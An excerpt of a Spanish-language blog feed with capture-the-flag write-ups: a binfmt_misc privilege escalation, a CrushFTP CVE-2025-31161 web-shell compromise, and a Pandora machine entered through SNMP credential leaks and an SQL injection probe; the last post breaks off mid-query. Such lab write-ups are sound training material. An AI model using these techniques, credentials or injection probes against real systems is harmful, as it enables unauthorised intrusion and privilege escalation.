&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @echo &lt;span style="color:#e6db74"&gt;&amp;#34;[+] Installing program files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; install --mode &lt;span style="color:#ae81ff"&gt;0755&lt;/span&gt; emuemu /usr/bin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mkdir --parent --mode &lt;span style="color:#ae81ff"&gt;0755&lt;/span&gt; /usr/lib/emuemu /usr/lib/binfmt.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; install --mode &lt;span style="color:#ae81ff"&gt;0750&lt;/span&gt; --group dev reg_helper /usr/lib/emuemu/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @echo &lt;span style="color:#e6db74"&gt;&amp;#34;[+] Register OSTRICH ROMs for execution with EMUEMU&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#39;:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:&amp;#39;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | tee /usr/lib/binfmt.d/emuemu.conf \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | /usr/lib/emuemu/reg_helper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm &lt;span style="color:#f92672"&gt;-f&lt;/span&gt; -- $(TARGETS)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Confirmamos que existe, es ejecutable por el grupo &lt;code&gt;dev&lt;/code&gt; y tiene &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8042-a4ce-c3fd52017d5a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Según la documentación del kernel: &lt;a href="https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.html"&gt;Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Para registrar un tipo nuevo hay que escribir una cadena con este formato:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:name:type:offset:magic:mask:interpreter:flags&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;El flag que nos interesa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;C&lt;/code&gt; - credentials&lt;/p&gt;
&lt;p&gt;Cuando se incluye, las credenciales se calculan según el binario. Implica &lt;code&gt;O&lt;/code&gt;, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La idea es registrar una entrada con &lt;code&gt;C&lt;/code&gt; para que se ejecute como root.&lt;/p&gt;
&lt;p&gt;Creamos un binario que asigna permisos laxos a &lt;code&gt;/bin/bash&lt;/code&gt; para explotar el comportamiento, y lo usamos como intérprete.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80d5-a616-c967e82e35a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo compilamos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gcc -o root root.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Buscamos un binario SUID root para disparar la ejecución.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ find / -user root -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; -executable &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/newgrp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/chfn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/fusermount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/gpasswd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/su
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/chsh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/mount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/umount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/lib/openssh/ssh-keysign
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos usar cualquiera de estos ejecutables.&lt;/p&gt;
&lt;p&gt;Con la flag &lt;code&gt;E&lt;/code&gt; podemos registrar por extensión.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;type&lt;/code&gt; es el tipo de reconocimiento. &lt;code&gt;M&lt;/code&gt; para magic y &lt;code&gt;E&lt;/code&gt; para extension.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80ac-b398-eaff6e900d64.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Soulmate (Easy)</title><link>https://synacklabs.github.io/posts/soulmate/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/soulmate/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80a2-aa42-feffb3dc13bd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con &lt;strong&gt;CrushFTP&lt;/strong&gt;. Se utiliza un exploit público de la &lt;strong&gt;CVE-2025-31161&lt;/strong&gt; para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80a2-aa42-feffb3dc13bd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con &lt;strong&gt;CrushFTP&lt;/strong&gt;. Se utiliza un exploit público de la &lt;strong&gt;CVE-2025-31161&lt;/strong&gt; para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="puerto-80-primera-observación"&gt;Puerto 80: primera observación&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-802f-85d2-d141ac8cc663.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se trata de una app de citas. La funcionalidad de subida de fotos sugiere una posible vulnerabilidad de &lt;strong&gt;file upload&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;El endpoint donde se guardan/gestionan las imágenes:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80d0-90a4-e00d1848b68d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La idea es encontrar una forma de subir contenido malicioso que termine ejecutándose en el servidor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8083-9fb4-ce8d528f3fca.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-802a-aa9e-c5df7182e0db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se observa que el endpoint cambia los &lt;strong&gt;últimos 3 dígitos&lt;/strong&gt;, lo que parece relevante para activar o localizar la shell.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-subdominios-y-vhosts"&gt;Enumeración: subdominios y vhosts&lt;/h3&gt;
&lt;p&gt;Se realizan descubrimientos de subdominios y vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-809f-a0b8-f567148af65c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aparece un panel y se obtiene información del servicio: &lt;strong&gt;CrushFTP&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80d7-b7a1-db55ee0a0d01.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploit utilizado:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py"&gt;https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funciona-técnicamente-cve-2025-31161"&gt;¿Cómo funciona técnicamente? (CVE-2025-31161)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Proceso de autenticación (race condition):&lt;/strong&gt; el servidor &lt;strong&gt;CrushFTP&lt;/strong&gt; emplea el método &lt;strong&gt;AWS4-HMAC-SHA256&lt;/strong&gt; (compatible S3) para autorizar peticiones.&lt;/li&gt;
&lt;li&gt;Al recibir una autenticación, primero verifica la existencia del usuario (p. ej. &lt;code&gt;login_user_pass()&lt;/code&gt;) &lt;strong&gt;sin exigir contraseña&lt;/strong&gt;, lo que durante un lapso breve deja la sesión en un estado “válido”.&lt;/li&gt;
&lt;li&gt;Si durante ese lapso se envía un header &lt;code&gt;Authorization&lt;/code&gt; malformado (por ejemplo, con solo el nombre de usuario y una &lt;code&gt;/&lt;/code&gt;, como &lt;code&gt;AWS4-HMAC-SHA256 Credential=crushadmin/&lt;/code&gt;), se puede provocar un error que evita que la sesión se cierre y mantiene la autenticación sin validación.&lt;/li&gt;
&lt;li&gt;Con ello, se puede actuar como un usuario conocido (especialmente &lt;code&gt;crushadmin&lt;/code&gt;, por ser cuenta por defecto) y obtener control del servidor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8052-8069-ce581a2a79bf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/a074e76e-898f-407e-820a-26b826533e60.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="acceso-al-panel"&gt;Acceso al panel&lt;/h3&gt;
&lt;p&gt;Estamos dentro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-807a-861b-e9af132b8e2d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Enumeración de usuarios disponibles:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/66de0104-b2e2-41fc-8f4a-2cc5a45f87b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="web-shell-a-través-de-la-foto-de-perfil"&gt;Web shell a través de la foto de perfil&lt;/h3&gt;
&lt;p&gt;Desde un usuario con permisos administrativos, se renombra la foto de perfil para intentar obtener una &lt;strong&gt;web shell&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8021-83b3-fc9cd1af8054.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80c1-8c15-c8cbd6bfdbbc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Comprobación:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8008-9d81-e785c855f9b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="shell-y-credenciales-encontradas"&gt;Shell y credenciales encontradas&lt;/h3&gt;
&lt;p&gt;Se obtiene una shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8053-89fd-d9a5e8bb1ab6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Revisión de configuración:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-808e-80f7-dbff0e913332.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Credencial observada:&lt;/p&gt;
&lt;p&gt;Crush4dmin990&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80e6-847d-c0d4b001cc4c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="vía-alternativa-acceso-como-otro-usuario"&gt;Vía alternativa: acceso como otro usuario&lt;/h3&gt;
&lt;p&gt;Otra manera de acceder: se cambia la contraseña de &lt;strong&gt;ben&lt;/strong&gt; y se entra como ese usuario para subir una shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-808f-b137-f4341f3844da.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-servicio-interno-ssh-erlang-529"&gt;Escalada: servicio interno SSH (Erlang 5.2.9)&lt;/h3&gt;
&lt;p&gt;Se detecta un servicio SSH interno en el &lt;strong&gt;puerto 2222&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8091-96f6-d087e66bb927.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/TeneBrae93/CVE-2025-3243/blob/main/CVE-2025-3243.py"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Se modifica el exploit, ya que &lt;code&gt;nc&lt;/code&gt; no funciona bien en este contexto.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8025-be39-e812d813bdff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ejecución / resultados:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8064-bff9-d9931d16570d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8081-bbe6-f4235c5c536b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Pandora (Easy)</title><link>https://synacklabs.github.io/posts/pandora/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/pandora/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-a888-ea6d255529dd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Enumeración TCP&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Play | Landing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.&lt;/p&gt;
&lt;p&gt;Enumeración UDP&lt;/p&gt;
&lt;p&gt;Siguiendo la pista, enumeramos UDP y encontramos &lt;strong&gt;SNMP&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;161&lt;/span&gt;/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notas rápidas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SNMP suele usarse para monitorización y gestión remota.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt; es una community string típica y, si está expuesta, suele filtrar información sensible.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-snmp-y-acceso-inicial"&gt;Enumeración SNMP y acceso inicial&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;snmpbulkwalk&lt;/code&gt; para volcar información:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;snmpbulkwalk -c public -v2c &lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.11.136
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-803f-8f7b-c15ab2e47c27.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la salida aparecen credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;daniel:HotelBabylon23&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con estas credenciales entramos por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c4-b98a-f2d6b615e3cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="post-explotación-usuario-y-pivote-a-servicio-interno"&gt;Post-explotación (usuario) y pivote a servicio interno&lt;/h3&gt;
&lt;p&gt;Dentro, al revisar directorios, vemos que &lt;code&gt;user.txt&lt;/code&gt; pertenece a &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user.txt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Necesitamos escalar o conseguir acceso como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Durante la enumeración detectamos otra web interna. Hacemos &lt;strong&gt;port forwarding&lt;/strong&gt; del puerto 80 remoto para acceder desde nuestra máquina.&lt;/p&gt;
&lt;p&gt;Intentamos autenticarnos con las credenciales de &lt;code&gt;daniel&lt;/code&gt; y no funciona.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-809a-8776-eee07a29e27f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sqli-en-pandora-fms-chart_generatorphp"&gt;SQLi en Pandora FMS (chart_generator.php)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/"&gt;Pandora FMS 742: Critical Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Probamos el endpoint vulnerable para confirmar la inyección:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -sG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/pandora_console/include/chart_generator.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --data-urlencode &lt;span style="color:#e6db74"&gt;&amp;#34;session_id=&amp;#39;&amp;#34;&lt;/span&gt; | head &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Identificamos que es una &lt;strong&gt;SQLi error-based&lt;/strong&gt; en una consulta del estilo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; tsessions_php &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id_session&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$session_id&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIMIT&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
